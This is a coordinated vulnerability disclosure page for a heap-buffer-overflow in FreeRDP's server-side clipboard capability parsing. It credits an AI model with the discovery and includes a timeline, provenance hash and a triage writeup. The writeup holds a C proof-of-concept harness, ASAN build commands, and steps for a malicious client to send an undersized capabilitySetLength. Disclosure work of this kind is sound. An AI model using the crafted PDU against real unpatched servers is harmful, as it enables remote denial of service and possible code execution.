ANT-2026-H97FY6C8 · freerdp

heap-buffer-overflow high

GHSA-mpxh-8fq3-x8mh GHSA-mvpx-xj7r-3p3r GHSA-p6r2-4hgm-m6ff

Severity Claude critical · Security research firm high · Maintainer unknown

Discovered by Claude Mythos Preview

REPORT

Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Trail of Bits.

ANT-2026-H97FY6C8: Heap-buffer-overflow in cliprdr_main.c:547

In FreeRDP's server-side clipboard channel handler, cliprdr_server_receive_capabilities() parses a CB_CLIP_CAPS PDU from the connected client. The server uses the client-supplied capabilitySetLength field directly as the size for a realloc() at cliprdr_main.c:535, then unconditionally writes a 12-byte CLIPRDR_GENERAL_CAPABILITY_SET struct into that buffer at line 547. A malicious client setting capabilitySetLength=1 causes a 1-byte allocation followed by a 12-byte write, yielding a deterministic heap-buffer-overflow (3/3 runs).

Target

Project: freerdp
Location: cliprdr_main.c:547

Technical Details

ASAN: heap-buffer-overflow WRITE of size 2 at 0x502000005c10 in cliprdr_server_receive_capabilities (cliprdr_main.c:547). The root cause is that the server trusts the client-supplied capabilitySetLength without validating it is at least sizeof(CLIPRDR_GENERAL_CAPABILITY_SET); realloc() at cliprdr_main.c:535 allocates only 1 byte, and the subsequent struct store writes past the end of that allocation.

Crash trace:

The PoC is a well-crafted C harness that #includes the FreeRDP server cliprdr source to access the static function `cliprdr_server_receive_capabilities()`. It constructs a malicious CB_CLIP_CAPS PDU with `capabilitySetLength=1`, which causes the server to `realloc()` only 1 byte but then write a 12-byte `CLIPRDR_GENERAL_CAPABILITY_SET` struct into that buffer.

All 3 runs produced identical ASAN reports:
- **Error**: `heap-buffer-overflow on address 0x502000005c10`
- **Type**: WRITE of size 2
- **Location**: `cliprdr_server_receive_capabilities` at `cliprdr_main.c:547`
- **Allocation**: `realloc` called at `cliprdr_main.c:535` allocated only 1 byte
- **Exit code**: 1 (all 3 runs)

The crash is deterministic (3/3), is not OOM or timeout, and occurs entirely within FreeRDP project code. The vulnerability is a real heap-buffer-overflow write caused by trusting a client-supplied `capabilitySetLength` field without validation.

Reproduction

  1. Connect as an RDP client to the FreeRDP server and negotiate the cliprdr channel
  2. Send a CB_CLIP_CAPS PDU containing a general capability set with capabilitySetLength=1
  3. Server realloc()s 1 byte then writes a 12-byte CLIPRDR_GENERAL_CAPABILITY_SET, overflowing the heap

[No reproducer or sanitizer output attached — request from cvd@anthropic.com if needed.]

Acknowledgement

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-H97FY6C8.


Reference: ANT-2026-H97FY6C8
Anthropic CVD Policy: https://anthropic.com/security/cvd-policy

SECURITY RESEARCH FIRM ANALYSIS

Triage and disclosure were performed by Trail of Bits. The writeup below is the document the firm sent to the maintainer.

Verdict
true positive
Severity
high

Summary

A malicious RDP client can trigger a heap-buffer-overflow write in FreeRDP's server-side clipboard (cliprdr) channel by sending a CB_CLIP_CAPS PDU with a too-small capabilitySetLength. This can crash the server process (remote DoS) and may be exploitable for code execution because it corrupts heap memory.

Details

Tested on FreeRDP commit 23b36cd00ebf0ccd97750fcdbc9aa2f362352da7. The issue is in the server cliprdr capability parsing routine. Inchannels/cliprdr/server/cliprdr_main.c, cliprdr_server_receive_pdu() dispatches CB_CLIP_CAPS to cliprdr_server_receive_capabilities(). cliprdr_server_receive_capabilities() reads capabilitySetLength from the client-controlled stream and uses it to grow the heap buffer with realloc(cap_sets_size). The function then unconditionally writes a CLIPRDR_GENERAL_CAPABILITY_SET into that buffer, starting by writing capSet->capabilitySetType (line 548) and capSet->capabilitySetLength, then reading and storing version and generalFlags via cliprdr_server_receive_general_capability(). Because sizeof(CLIPRDR_GENERAL_CAPABILITY_SET) == 12, setting capabilitySetLength = 1 causes a 1-byte allocation followed by a 12-byte struct write (11 bytes out-of-bounds).

PoC

These steps reproduce the issue with ASAN and show the exact crash site.

1) Build FreeRDP with ASAN (example build that avoids optional deps):

git clone https://github.com/FreeRDP/FreeRDP.git /tmp/freerdp-src
cd /tmp/freerdp-src
git checkout 23b36cd00ebf0ccd97750fcdbc9aa2f362352da7

mkdir build-asan && cd build-asan
cmake .. \
  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DCMAKE_C_FLAGS='-g -O1 -fno-omit-frame-pointer -fsanitize=address,undefined' \
  -DCMAKE_CXX_FLAGS='-g -O1 -fno-omit-frame-pointer -fsanitize=address,undefined' \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined' \
  -DWITH_SERVER=ON -DBUILD_TESTING=OFF \
  -DWITH_FFMPEG=OFF -DWITH_VIDEO_FFMPEG=OFF -DWITH_DSP_FFMPEG=OFF -DWITH_SWSCALE=OFF \
  -DWITH_FUSE=OFF -DCHANNEL_URBDRC=OFF
cmake --build . -j"$(nproc)" --target freerdp winpr
cd ..

2) Create repro_bug.c in /tmp/freerdp-src:

#include <freerdp/config.h>

#include <winpr/crt.h>
#include <winpr/stream.h>

#include <freerdp/channels/cliprdr.h>
#include <freerdp/server/cliprdr.h>

#include "channels/cliprdr/server/cliprdr_main.h"

/*
 * This PoC intentionally #includes FreeRDP channel sources to reach the
 * static function cliprdr_server_receive_capabilities().
 */
#include "channels/cliprdr/cliprdr_common.c"
#include "channels/cliprdr/server/cliprdr_main.c"

int main(void)
{
        CliprdrServerContext ctx;
        ZeroMemory(&ctx, sizeof(ctx));

        wStream* s = Stream_New(NULL, 256);
        if (!s)
                return 1;

        /* CLIPRDR_CAPABILITIES */
        Stream_Write_UINT16(s, 1);      /* cCapabilitiesSets */
        Stream_Write_UINT16(s, 0);      /* pad1 */

        /* CLIPRDR_CAPABILITY_SET */
        Stream_Write_UINT16(s, 0x0001); /* CB_CAPSTYPE_GENERAL */
        Stream_Write_UINT16(s, 1);      /* capabilitySetLength (BUG: too small) */

        /* CLIPRDR_GENERAL_CAPABILITY_SET payload (8 bytes) */
        Stream_Write_UINT32(s, 1);      /* version */
        Stream_Write_UINT32(s, 0);      /* generalFlags */

        Stream_SealLength(s);
        Stream_SetPosition(s, 0);

        CLIPRDR_HEADER header;
        ZeroMemory(&header, sizeof(header));

        (void)cliprdr_server_receive_capabilities(&ctx, s, &header);

        Stream_Free(s, TRUE);
        return 0;
}

3) Compile and run:

cd /tmp/freerdp-src
cc -g -O1 -fno-omit-frame-pointer -fsanitize=address,undefined \
  -I build-asan -I include -I winpr/include -I build-asan/include -I build-asan/winpr/include \
  -I channels/cliprdr -I channels/cliprdr/server \
  repro_bug.c -o repro_bug \
  -L build-asan/winpr/libwinpr -lwinpr3 -L build-asan/libfreerdp -lfreerdp3 \
  -Wl,-rpath,build-asan/winpr/libwinpr:build-asan/libfreerdp

ASAN_OPTIONS='detect_leaks=0:abort_on_error=1:halt_on_error=1:print_stacktrace=1' \
  ./repro_bug

Expected result: ASAN reports heap-buffer-overflow with the write at channels/cliprdr/server/cliprdr_main.c:548 and the allocation at channels/cliprdr/server/cliprdr_main.c:536 (1-byte realloc).

Suggested fix

The fix is to reject capabilitySetLength values smaller than the minimum expected struct sizes before allocating and writing, and to size the allocation based on the actual struct size written. See https://github.com/FreeRDP/FreeRDP-ghsa-mvpx-xj7r-3p3r/compare/advisory-fix-1

Impact

A FreeRDP-based server that enables the cliprdr server channel is impacted. A remote RDP client that can reach the CLIPRDR capability exchange can trigger a controlled heap corruption primitive in the server process. At minimum this is a reliable remote denial of service; depending on allocator behavior and build hardening, it may be exploitable for remote code execution in the server process.

Background of that issue This bug was found as a part of an Anthropic research into the use of large language models for automated vulnerability discovery in open source software. Anthropic then engaged Trail of Bits to independently triage and validate those issues.

TIMELINE

Dates from discovery through public reveal.

  1. 2026-03-24 Reported to tracker
  2. 2026-04-30 Sent to maintainer
  3. 2026-04-30 Maintainer acknowledged
  4. 2026-05-07 Patch released
  5. 2026-05-20 Publicly revealed
PROVENANCE

SHA-3-512 hash:

af9e55fee0270dad8d041247bd41b08bbfbf3bb1a93546ff73a9dca44e1d558f6eaae58c86efeb983a2e8a73cf63fdbe81e98df6e58dbebb269404317829b9cc

Committed 2026-04-30 00:03 PT

Revealed 2026-05-20 00:40 PT

Verify (download preimage.json)

Show preimage JSON
{
  "ant_id": "ANT-2026-H97FY6C8",
  "bug_class": "Heap-buffer-overflow",
  "claude_severity": "critical",
  "commit_sha": null,
  "created_at": "2026-03-24T20:44:14+00:00",
  "description": "In FreeRDP's server-side clipboard channel handler, cliprdr_server_receive_capabilities() parses a CB_CLIP_CAPS PDU from the connected client. The server uses the client-supplied capabilitySetLength field directly as the size for a realloc() at cliprdr_main.c:535, then unconditionally writes a 12-byte CLIPRDR_GENERAL_CAPABILITY_SET struct into that buffer at line 547. A malicious client setting capabilitySetLength=1 causes a 1-byte allocation followed by a 12-byte write, yielding a deterministic heap-buffer-overflow (3/3 runs).",
  "discovered_at": null,
  "location": "cliprdr_main.c:547",
  "poc_sha256": null,
  "preimage_version": 1,
  "project": "freerdp",
  "reproduction": [
    "1. Connect as an RDP client to the FreeRDP server and negotiate the cliprdr channel",
    "2. Send a CB_CLIP_CAPS PDU containing a general capability set with capabilitySetLength=1",
    "3. Server realloc()s 1 byte then writes a 12-byte CLIPRDR_GENERAL_CAPABILITY_SET, overflowing the heap"
  ],
  "technical_details": "ASAN: heap-buffer-overflow WRITE of size 2 at 0x502000005c10 in cliprdr_server_receive_capabilities (cliprdr_main.c:547). The root cause is that the server trusts the client-supplied capabilitySetLength without validating it is at least sizeof(CLIPRDR_GENERAL_CAPABILITY_SET); realloc() at cliprdr_main.c:535 allocates only 1 byte, and the subsequent struct store writes past the end of that allocation.",
  "title": "Heap-buffer-overflow in cliprdr_main.c:547",
  "vendor_severity": "high"
}